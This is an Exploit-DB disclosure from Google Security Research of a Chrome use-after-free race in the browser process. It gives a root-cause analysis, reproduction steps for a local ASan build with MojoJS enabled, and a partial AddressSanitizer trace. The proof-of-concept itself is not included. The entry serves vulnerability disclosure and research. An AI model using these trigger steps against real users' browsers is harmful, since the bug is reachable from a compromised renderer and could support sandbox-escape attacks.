Exploit-DB #46473
Description: Google Chrome < M72 - RenderFrameHostImpl::CreateMediaStreamDispatcherHost Use-After-Free
Type: dos
Platform: multiple
Date: 2019-03-01
Author: Google Security Research

Exploit:
There's a race-condition / object-lifetime issue in the browser process when the browser process shutdown races against the IO thread handling mojo messages from the renderer.

It's (at least) possible to trigger this by closing the browser while running the attached poc; I'm not sure if there's a situation other than browser-process exit that could cause this race to occur. It looks like this might be triggerable when the Chrome auto-update causes a browser 
restart in the background, but I haven't tried to reproduce that case.

I (think) that this issue is occurring because we bind an interface in the registry to a callback that runs on a separate task runner, but which has a reference to base::Unretained(this), where this is the instance of the RenderFrameHostImpl. It looks like there's an assumption that the lifetime of RenderFrameHostManager is longer than BrowserMainLoop, and that doesn't seem to be the case.

https://cs.chromium.org/chromium/src/content/browser/frame_host/render_frame_host_impl.cc?rcl=0c858fb5c4a474f690eb450b923e72c298be5d8a&l=3890

To reproduce you need a local build of chrome; run the attached script 

$ python ./copy_mojo_js_bindings.py /path/to/chrome/.../out/Asan/gen
$ python -m SimpleHTTPServer&
$ out/Asan/chrome --enable-blink-features=MojoJS --user-data-dir=/tmp/nonexist 'http://localhost:8000/index.html' 'http://localhost:8000/index.html' 'http://localhost:8000/index.html' 'http://localhost:8000/index.html'

Then once the Chrome window is open and the renderer tabs have started, close the running Chrome (ctrl-c will work fine) and you will likely see the issue. It may take several tries for everything to line up right. Alternatively, you can run Chrome repeatedly in headless mode, which should also trigger the issue.

$ out/Asan/chrome --enable-blink-features=MojoJS --user-data-dir=/tmp/nonexist --headless 'http://localhost:8000/index.html'

Note that this is *not* a renderer bug; it's a browser process bug that's reachable from the renderer. The attached poc is using the MojoJS bindings to trigger the issue, but a compromised renderer could perform the same actions without any special settings.

=================================================================
==133162==ERROR: AddressSanitizer: heap-use-after-free on address 0x61d00020e170 at pc 0x562062502aff bp 0x7f12c74841b0 sp 0x7f12c74841a8
READ of size 8 at 0x61d00020e170 thread T7 (Chrome_IOThread)
    #0 0x562062502afe in operator bool buildtools/third_party/libc++/trunk/include/memory:2623:19
    #1 0x562062502afe in content::RenderFrameHostImpl::CreateMediaStreamDispatcherHost(content::MediaStreamManager*, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>) content/browser/frame_host/render_frame_host_impl.cc:5489
    #2 0x56206253f6a0 in Invoke<void (content::RenderFrameHostImpl::*)(content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), content::RenderFrameHostImpl *, content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> > base/bind_internal.h:516:12
    #3 0x56206253f6a0 in MakeItSo<void (content::RenderFrameHostImpl::*const &)(content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), content::RenderFrameHostImpl *, content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> > base/bind_internal.h:616
    #4 0x56206253f6a0 in RunImpl<void (content::RenderFrameHostImpl::*const &)(content::MediaStreamManager *, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), const std::__1::tuple<base::internal::UnretainedWrapper<content::RenderFrameHostImpl>, base::internal::UnretainedWrapper<content::MediaStreamManager> > &, 0, 1> base/bind_internal.h:689
    #5 0x56206253f6a0 in base::internal::Invoker<base::internal::BindState<void (content::RenderFrameHostImpl::*)(content::MediaStreamManager*, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), base::internal::UnretainedWrapper<content::RenderFrameHostImpl>, base::internal::UnretainedWrapper<content::MediaStreamManager> >, void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>::Run(base::internal::BindStateBase*, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>&&) base/bind_internal.h:671
    #6 0x56206253ff1d in Run base/callback.h:129:12
    #7 0x56206253ff1d in service_manager::CallbackBinder<content::mojom::MediaStreamDispatcherHost>::RunCallback(base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> const&, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>) services/service_manager/public/cpp/interface_binder.h:69
    #8 0x[PII_REDACTED]26 in Invoke<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> &, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> > base/bind_internal.h:416:12
    #9 0x[PII_REDACTED]26 in MakeItSo<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> &, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> > base/bind_internal.h:616
    #10 0x[PII_REDACTED]26 in RunImpl<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)> &, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>), std::__1::tuple<base::RepeatingCallback<void (mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost>)>, mojo::InterfaceRequest<content::mojom::MediaStreamDispatcherHost> >,